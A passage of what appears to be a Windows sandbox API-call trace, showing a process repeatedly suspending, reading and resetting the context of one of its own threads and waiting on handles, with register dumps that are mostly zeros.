[106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0097.457] ResumeThread (hThread=0x130) returned 0x1
[0097.457] CloseHandle (hObject=0x130) returned 1
[0097.457] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0097.788] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0097.845] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0097.953] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.030] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0098.030] SuspendThread (hThread=0x130) returned 0x0
[0098.030] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147808, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1443580, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0098.101] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147800, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0098.171] ResumeThread (hThread=0x130) returned 0x1
[0098.171] CloseHandle (hObject=0x130) returned 1
[0098.171] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.205] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.295] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.412] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.652] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0098.652] SuspendThread (hThread=0x130) returned 0x0
[0098.652] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147920, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a2fe0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0098.721] ResumeThread (hThread=0x130) returned 0x1
[0098.721] CloseHandle (hObject=0x130) returned 1
[0098.721] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.802] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.869] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.903] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0098.980] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.055] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0099.055] SuspendThread (hThread=0x130) returned 0x0
[0099.055] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147548, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1294dc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0099.123] ResumeThread (hThread=0x130) returned 0x1
[0099.123] CloseHandle (hObject=0x130) returned 1
[0099.123] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.198] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0099.198] SuspendThread (hThread=0x130) returned 0x0
